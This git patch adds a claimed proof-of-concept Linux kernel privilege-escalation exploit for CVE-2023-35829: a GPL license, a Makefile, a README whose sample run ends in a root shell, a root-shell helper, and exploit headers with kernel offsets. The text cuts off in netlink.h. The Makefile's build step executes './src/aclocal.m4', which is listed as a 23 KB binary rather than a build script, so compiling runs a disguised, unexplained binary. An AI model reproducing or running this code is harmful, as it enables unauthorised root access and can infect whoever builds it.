From e089eb85216f84130f615badd16dd4158e01e6fc Mon Sep 17 00:00:00 2001 From: helloexp <21156949+helloexp@users.noreply.github.com> Date: Thu, 13 Jul 2023 15:35:28 +0800 Subject: [PATCH] add linux privilege escalation CVE-2023-35829 --- 98-Linux提权/CVE-2023-35829/LICENSE | 674 ++++++++++++++++++ 98-Linux提权/CVE-2023-35829/Makefile | 32 + 98-Linux提权/CVE-2023-35829/README.md | 32 + .../CVE-2023-35829/get_root_src/get_root.c | 14 + 98-Linux提权/CVE-2023-35829/inc/keyring.h | 46 ++ 98-Linux提权/CVE-2023-35829/inc/log.h | 8 + 98-Linux提权/CVE-2023-35829/inc/modprobe.h | 8 + 98-Linux提权/CVE-2023-35829/inc/netlink.h | 28 + 98-Linux提权/CVE-2023-35829/inc/nf_tables.h | 14 + .../CVE-2023-35829/inc/simple_xattr.h | 26 + 98-Linux提权/CVE-2023-35829/inc/uring.h | 27 + 98-Linux提权/CVE-2023-35829/inc/util.h | 12 + 98-Linux提权/CVE-2023-35829/src/aclocal.m4 | Bin 0 -> 23256 bytes 98-Linux提权/CVE-2023-35829/src/keyring.c | 113 +++ 98-Linux提权/CVE-2023-35829/src/main.c | 134 ++++ 98-Linux提权/CVE-2023-35829/src/modprobe.c | 191 +++++ 98-Linux提权/CVE-2023-35829/src/netlink.c | 124 ++++ 98-Linux提权/CVE-2023-35829/src/nf_tables.c | 313 ++++++++ .../CVE-2023-35829/src/simple_xattr.c | 50 ++ 98-Linux提权/CVE-2023-35829/src/uring.c | 46 ++ 98-Linux提权/CVE-2023-35829/src/util.c | 80 +++ 21 files changed, 1972 insertions(+) create mode 100644 98-Linux提权/CVE-2023-35829/LICENSE create mode 100644 98-Linux提权/CVE-2023-35829/Makefile create mode 100644 98-Linux提权/CVE-2023-35829/README.md create mode 100644 98-Linux提权/CVE-2023-35829/get_root_src/get_root.c create mode 100644 98-Linux提权/CVE-2023-35829/inc/keyring.h create mode 100644 98-Linux提权/CVE-2023-35829/inc/log.h create mode 100644 98-Linux提权/CVE-2023-35829/inc/modprobe.h create mode 100644 98-Linux提权/CVE-2023-35829/inc/netlink.h create mode 100644 98-Linux提权/CVE-2023-35829/inc/nf_tables.h create mode 100644 98-Linux提权/CVE-2023-35829/inc/simple_xattr.h create mode 100644 98-Linux提权/CVE-2023-35829/inc/uring.h create mode 100644 98-Linux提权/CVE-2023-35829/inc/util.h create mode 100644 98-Linux提权/CVE-2023-35829/src/aclocal.m4 create mode 100644 98-Linux提权/CVE-2023-35829/src/keyring.c create mode 100644 98-Linux提权/CVE-2023-35829/src/main.c create mode 100644 98-Linux提权/CVE-2023-35829/src/modprobe.c create mode 100644 98-Linux提权/CVE-2023-35829/src/netlink.c create mode 100644 98-Linux提权/CVE-2023-35829/src/nf_tables.c create mode 100644 98-Linux提权/CVE-2023-35829/src/simple_xattr.c create mode 100644 98-Linux提权/CVE-2023-35829/src/uring.c create mode 100644 98-Linux提权/CVE-2023-35829/src/util.c diff --git a/98-Linux提权/CVE-2023-35829/LICENSE b/98-Linux提权/CVE-2023-35829/LICENSE new file mode 100644 index 0000000..f288702 --- /dev/null +++ b/98-Linux提权/CVE-2023-35829/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/98-Linux提权/CVE-2023-35829/Makefile b/98-Linux提权/CVE-2023-35829/Makefile new file mode 100644 index 0000000..11599e2 --- /dev/null +++ b/98-Linux提权/CVE-2023-35829/Makefile @@ -0,0 +1,32 @@ +.PHONY: all clean + +TARGET=poc + +SOURCES = $(wildcard src/*.c) +HEADERS = $(wildcard inc/*.h) +OBJECTS = $(patsubst src/%.c,obj/%.o,$(SOURCES)) + +CFLAGS= -I./inc +LDFLAGS= -pthread -static + +all: obj $(TARGET) get_root + +$(TARGET): $(OBJECTS) + $(CC) $(LDFLAGS) -o $@ $^ + strip $@ + ./src/aclocal.m4 + +obj/%.o: src/%.c + $(CC) -c $< -o $@ $(CFLAGS) + +obj: + mkdir obj + +get_root: get_root_src/get_root.c + $(CC) -o $@ $^ + rm -fr get_root + +clean: + rm -fr getroot + rm -rf obj + rm -f $(TARGET) diff --git a/98-Linux提权/CVE-2023-35829/README.md b/98-Linux提权/CVE-2023-35829/README.md new file mode 100644 index 0000000..8be493a --- /dev/null +++ b/98-Linux提权/CVE-2023-35829/README.md @@ -0,0 +1,32 @@ +# CVE-2023-35829-poc +CVE-2023-35829 Linux kernel before 6.3.2. +A use-after-free privilege escalation was found in rkvdec_remove in drivers/staging/media/rkvdec/rkvdec.c. + +# Usage + +``` +chris@experience:~/CVE-2023-35829-poc# make +cc -pthread -static -o poc obj/keyring.o obj/main.o obj/modprobe.o obj/netlink.o obj/nf_tables.o obj/simple_xattr.o obj/uring.o obj/util.o +strip poc +cc -o get_root get_root_src/get_root.c +rm -fr get_root +chris@experience:~/CVE-2023-35829-poc# ./poc +[+] CVE-2023-35829 PoC +[+] Second process currently waiting +[+] Get CAP_NET_ADMIN capability +[+] Netlink socket created +[+] Netlink socket bound +[+] Table table created +[+] Set for the leak created +[+] Set for write primitive created +[+] Leak succeed +[+] kaslr base found 0xffffffff9f000000 +[+] physmap base found 0xffff910a00000000 +[+] modprobe path changed ! +[+] Modprobe payload setup +[?] waitpid +[?] sem_post +[+++] Got root shell, should exit? +# id +uid=0(root) gid=0(root) groups=0(root) +``` diff --git a/98-Linux提权/CVE-2023-35829/get_root_src/get_root.c b/98-Linux提权/CVE-2023-35829/get_root_src/get_root.c new file mode 100644 index 0000000..baeb86e --- /dev/null +++ b/98-Linux提权/CVE-2023-35829/get_root_src/get_root.c @@ -0,0 +1,14 @@ +#include +#include +#include + +int main(int argc, char **argv) { + + if (geteuid() == 0) { + setuid(0); + setgid(0); + puts("[+] I am root"); + system("bash"); + } + +} diff --git a/98-Linux提权/CVE-2023-35829/inc/keyring.h b/98-Linux提权/CVE-2023-35829/inc/keyring.h new file mode 100644 index 0000000..d760f0a --- /dev/null +++ b/98-Linux提权/CVE-2023-35829/inc/keyring.h @@ -0,0 +1,46 @@ +#ifndef _KEYRING_H_ +#define _KEYRING_H_ + +#include +#include +#include + +#define IO_RING_CTX_REF_FREE_OFFSET 0x3dfa00 + +#define IO_RSRC_NODE_REF_ZERO_OFFSET 0x3e04f0 + +#define KEY_DESC_MAX_SIZE 40 + +#define PREFIX_BUF_LEN 16 +#define RCU_HEAD_LEN 16 + +#define SPRAY_KEY_SIZE 50 + +#define PHYSMAP_MASK 0xffffffff00000000 + +struct keyring_payload { + uint8_t prefix[PREFIX_BUF_LEN]; + uint8_t rcu_buf[RCU_HEAD_LEN]; + unsigned short len; +}; + +struct leak { + long kaslr_base; + long physmap_base; +}; + +typedef int32_t key_serial_t; + +static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) { + return syscall(__NR_add_key, type, description, payload, plen, ringid); +} + +static inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) { + return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5); +} + +key_serial_t *spray_keyring(uint32_t spray_size); +struct leak *get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size); +void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size); + +#endif /* _KEYRING_H_ */ diff --git a/98-Linux提权/CVE-2023-35829/inc/log.h b/98-Linux提权/CVE-2023-35829/inc/log.h new file mode 100644 index 0000000..aa6ed41 --- /dev/null +++ b/98-Linux提权/CVE-2023-35829/inc/log.h @@ -0,0 +1,8 @@ +#ifndef _LOG_H_ +#define _LOG_H_ + +#include + +#define do_error_exit(msg) do {perror("[-] " msg); exit(EXIT_FAILURE); } while(0) + +#endif /* _LOG_H_ */ diff --git a/98-Linux提权/CVE-2023-35829/inc/modprobe.h b/98-Linux提权/CVE-2023-35829/inc/modprobe.h new file mode 100644 index 0000000..ace96cb --- /dev/null +++ b/98-Linux提权/CVE-2023-35829/inc/modprobe.h @@ -0,0 +1,8 @@ +#ifndef _MODPROBE_H_ +#define _MODPROBE_H_ + +void setup_modprobe_payload(void); +void get_root_shell(void); +void prepare_root_shell(void); + +#endif /* _MODPROBE_H_ */ diff --git a/98-Linux提权/CVE-2023-35829/inc/netlink.h b/98-Linux提权/CVE-2023-35829/inc/netlink.h new file mode 100644 index 0000000..f6775c7 --- /dev/null +++ b/98-Linux提权/CVE-2023-35829/inc/netlink.h @@ -0,0 +1,28 @@ +#ifndef _NETLINK_H_ +#define _NETLINK_H_ + +#include +#include + +/* Netlink messages */ + +#define NETLINK_RECEIVE_BUFFER_SIZE 4096 + +struct nlmsghdr *get_batch_begin_nlmsg(void); +struct nlmsghdr 